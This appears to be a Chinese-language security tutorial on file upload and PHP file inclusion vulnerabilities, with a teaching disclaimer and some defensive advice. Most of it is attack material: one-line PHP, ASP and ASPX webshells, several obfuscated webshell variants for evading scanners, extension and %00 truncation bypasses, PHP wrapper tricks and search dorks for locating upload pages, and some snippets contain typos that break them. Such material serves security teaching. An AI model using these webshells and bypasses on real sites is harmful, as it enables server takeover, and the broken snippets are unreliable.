Bootstrap

文件上传和文件包含

声明:

本文章只是适用于网络安全教学,请自觉遵守网络安全法,严禁用于非法途径,若读者做出来任何危害网络安全的行为,后果自负,均与本人无关.

文件上传:

大部分的网站和应用系统都有上传的功能,如用户头像上传,图片上传,文档上传等。一些文件上传功能实现代码没有严格限制用户上传的文件后缀名以及文件类型,导致允许攻击者向某个可通过web访问的目录上传任意的php文件,并能够讲这些文件传递给PHP解释器,就可以通过远程服务器上执行任意的PHP脚本。
当系统存在文件上传漏洞的时候,攻击者可以将病毒,木马,webshell,其他恶意脚本或者包含了脚本的图片上传的服务器,这些文件将对攻击者后续攻击提供便利,根据具体漏洞的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后的这几类脚本。

产生的原因:

用户上传文件的时候,没有对其进行严格的过滤,使攻击者可以利用这种情况进行
1.服务器配置错误
2.开源编码器漏洞
3.本地上传限制不严格
4.服务器过滤不严格

文件上传的危害:

  1. 上传文件时病毒或者木马的时候,主要是用于诱骗用户或者管理员下载执行或者直接自动运行
  2. 上传文件时webshell的时候,攻击者可以通过这些页面后门执行命令并且控制服务器
  3. 上传是恶意其他的脚本的时候,攻击者可以直接执行脚本进行攻击
  4. 上传文件时恶意图片的时候,攻击者可以直接执行脚本进行攻击
  5. 上传的文件时恶意图片的时候,图片中可能包含了脚本,加载或者点击这些图片时脚本会悄无声息的执行
  6. 上传文件时伪装成正常后缀的恶意脚本的时候,攻击者可以借助本地文件包含漏洞(Local File Include)执行改文件。例如将bad.php文件改名bad.doc上传到服务器,然后通过PHP的inculde,inclue_once,require,require_once等函数包含执行。

文件上传漏洞判断:

1.看是不是二次渲染,看有没有经过两次
二次渲染:吧上传的文件,生成一个新的文件。
2.猜测验证
3.没有漏洞就看中间件

文件上传漏洞如何去查找:

黑盒(用户角度)
1.扫描工具
2.通过网站给的应用
3.网站后台
白盒(对特定程序内部进行测试)
1.代码分析

文件上传漏洞绕过:

1.绕过黑名单,拒绝扩展名:.asa,asax.asp,aspx,asmx,ashx,exe
2.漏网之鱼:c.cer证书 c.cdx复合索引
3.绕过后缀替换为空 replace(“php”,“”) c.pHp c.phphpp burp:c.php. burp:c.php
4.c.php::$DATA 权限维持:隐藏后门,绕过D盾检测

文件上传功能:

上传头像、上传资源、上传图片、上传附件

常用工具:

中国菜刀、中国蚁剑、冰蝎、weelevy、godzilla

防御方法:

1.白名单判断文件后缀是否合法
2.文件上传的目录设置为不可执行
3.判断文件类型
4.使用随机数改写文件名和文件路径
5.单独设置服务器文件域名
6.使用安全设备防御(WAF、防火墙)

常用的木马植入方式:

1.以文件的形式上传的服务器
上传文件可以利用mysql的into outfile,表单上传等方式
2.以字符串的形式上传到服务器
通过mysql的日志方式,shell的echo方式,命令执行,反序列化。

文件包含:

简单的说就是服务器通过PHP的特性(函数的特性)去包含任意文件的时候,由于对包含的这个文件来源过滤不严,从而可以去包含一个恶意的文件,而我们构造的这个恶意文件来达到"邪恶"的目的,(从而读取服务器的敏感文件等)
是代码注入的一种,注入需要一端用户能控制的脚本或者代码,并且让服务器执行,尝尝出现在一些流行的web开发语言中,如JSP,PHP,ASP 以PHP为例,常见的文件包含函数 include(),include_once(),reqire(),reqire_once,fopen(),readfile()

漏洞原理:

简单地说,就是把多个文件,用各种方法包含在一个文件里。程序开发人员通常会把可是重复使用的反函数写到单个文件中,在使用某些函数的时候,直接调用此文文件,无需再次编写,这种调用文件的过程一般称为文件包含。
allow_url_include:如果开启了这个参数,攻击者可以配合文件上传包含PHP代码的任何文件,通过文件包含漏洞,从而进行恶意文件。

  • allow_url_include:是否允许include()和require()函数包含URL(HTTP,HTTPS)作为文件处理。
  • allow_url_fopen:参数是否允许url(http,https)作为文件打开处理

前提:

  • allow_url_fopen:on
  • allow_url_include:on
    这两个参数都是on的情况下,文件包含漏洞是成功的。
<?php $filename=$_GET['page']; incule($filename); ?>

上面的代码,GET请求参数"page"传给了一个变量filename,包含了这个变量,没有对$_GET['page']的值,包含自己想看文件。(文件路径一定要对,不对的话包含不了。)

文件包含漏洞的成因:

PHP文件包含有以下几种:

  • require()
    require_once()
    require开头的函数如过包含的文件语法有问题,程序就会中断执行。
  • include()
    include_once()
    include开头的函数,如果包含文件语法有问题,程序还会继续执行。
    include有返回值,require没有返回值

PHP文件包含类型:

1、可以包含本地文件
相对路径
file=…/…/…/b.php
绝对路径:
file:///c:/Users/20855/destop/
2、可以包含远程文件(必须服务器开启了远程包含的功能)

PHP配置文件:php.ini
allow_url_include=on

文件包含的函数:

HTML5文件包含

能包含CSS: 能包含JS:<script
src=‘xxxxx’xxxxx.js’'>

include():文件包含失败后,报警告错误,后面的代码会执行。
include_once():包含文件时候,先做着一个检测,如果前面的文件以后包含就不再执行。
require():文件包含失败后,报致命错误,后面的代码不会执行。
require_once():包含文件的时候,先做一个检测,如果前面的文件有包含就不再执行。
文件包含漏洞分为两个类型:一个是本地包含一个远程包含。

文件包含漏洞的危害:

1.包含独处目标机器上的其他文件(系统文件等)
2.包含可以运行的PHP木马
3.包含一个创建的PHP文件
4.提权

文件包含的伪协议:(请求协议)

1.php://      可以获取post原生数据(php://input) 将目标文件的源码进行加密读出(在get请求最后面输入要传入的php命令即可)  
2.file://      浏览器访问本地文件的协议
3.data://    数据流封装器,传递响应格式的数据,通常可以用来执行PHP代码
4.phar://    执行文件压缩中的文件
5.zip://      执行文件压缩中的文件

文件包含绕过:

1.URL编码绕过:当某些执行符号设置为空的时候,可以利用编码或者双写绕过。
2.特殊字符绕过:同上
3.%00截断;当后缀名被给执行的文件类型的时候,可以利用%00截断
4.路径长度截断

文件包含漏洞的利用条件:

1.程序用include()等文件包含通过动态变量的方式引入所要包含的文件
2.用户能够控制该动态变量
3.要保证php.ini中的allow_url_fopen和allow_url_include都为on(远程文件包含)

如何防护文件包含漏洞:

1.使用str_raplace等方式过滤掉危险的字符
2.配置open_basedire,防止目录遍历
3.PHP版本升级,防止%00截断
4.对文件进行重命名,防止被读取
5.对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。
6.做好管理员权限分化,做好文件的权限管理。

常用的请求方法:

1.利用工具在请求头中getshell
文件包含获取原生数据: pup://input
请求头中:<?php@eval($_POST['cmd'];?>

图片马+文件包含漏的功能

通过上传图片马,集合文件包和漏洞上传webshell
php、ASP、ASPX一句话木马

1、PHP
<?php @eval($_POST['cmd']);?>
2、ASP
<%eval request("pass")%>
3、ASPX
<%@ Page Language="jscript"%> <%eval(Request.ltem["pass"],"unsafe");%>
eval函数,是把一串字符串作为PHP代码执行,<?php @eval($_POST['cmd']);?>把cmd换成操作系统命令就可以对系统进行操作。

木马变形:

PHP语法中eval,比如assert函数也可以执行代码
命令执行函数system、passthru、exec、shell_exec等

双变量绕过:

<?php $_POST['a']($_POST['b']);?>
a=assert$ b=phpinfo()

字符串绕过:

<?php
$a=substr_replace(string:"assxxx",replace:"ert",offset:3)
$a=($_POST['cmd']);
?>
subsrt_replace这个函数把字符串的一部分替换为另一个字符串

定义函数绕过:

<?php
functiion test($a){
    $a($_POST['cmd']);
}
test(a:"assert);
?>

指调用函数的时候,将另一个函数作为参数传递到调用的函数中
功能:使用回调函数,是为了可以将一段自定义的功能传递到函数内部使用

<?
function test($func,$param){
    reutrn $fun($param);
}
test(func:'assert',$_POST['cmd']);
?>

<?php call_user_func($)POST['a'],$_POST['b']);?>
call_user_func:PHP内置回调函数
$_POST['a']:传递函数名
$_POST['b']:参数

类绕过:
<?php
class test{
    var $a;
    var $b;
      function_ _construct($a,$b){
               $this-> a = $a;
               $this-> b = $b;
             }
             function demo(){
                      array_map($this->a,$this->b);
             }
}
$t = new test(a:'assert',array($_POST['cmd']));
$t->demo();
?>
array_map:调用函数
$t->demo();:创建对象后,调用demo函数

编码绕过
<?php
$a=base64_decode(($_POST['cmd']));
assert($a);
?>

特殊字符干扰绕过:
<?php
$a=("!"^"@")."ssert";
$a=($_POST['cmd']);
?>

无字符特征码绕过
<?php
$_=("$"^"{").("~"^".").("/"^"`").("-"^''~").("("^"|");
${$_}['a'](${$_}['b']);
?>
${$_}['a'](${$_}['b']);:等效于$_POST['a']($_POST['b']);
两个字符串进行异或运算时,会转成二进制,完成之后,在换回字符串

常用的绕过方式:

1.JS代码删除即可
2.检查后缀的

搜索文件上传的语法:

搜索登录页面

1、inurl:upload.php
2、搜索PHP CMS(管理平台,管理操作系统)
inurl:index.php?m=member
这种类型的代码叫mime类型,它的作用是客户端与服务器交流时发送的实例数据类型。
[‘type’]=‘image/jpeg’
MIME:多用途互联网邮件扩展类型

MIME常见类型:

text/html:HTML格式
application/json:json数据格式
multipart/form-data:文件上传(二进制数据)
image/jpeg:jpg图片的格式
注释: <! – 内容–>

客户端使用:

1.GET请求不需要这个字段
2.POST请求,放在content type指定上传的文件类型,方便服务器解析,放在accept,告诉服务端允许接受的响应类型,比如只能接受json或者其他

服务端使用:

1、放在响应头里面,告诉客户端响应的数据类型,方便客户解析
等价扩展名:
asp:ashx,asmx,ascx
php:php2、php3、php4、php5、phps、phtml
jsp:jspx、jspf

结语:

一些关于文件上传和文件包含的总结,一个好的攻击手法往往都是上传和包含结合起来使用,当然也要根据实际情况来看,这里只为和各位师傅们交流学习! 希望对各位师傅们有帮助!

;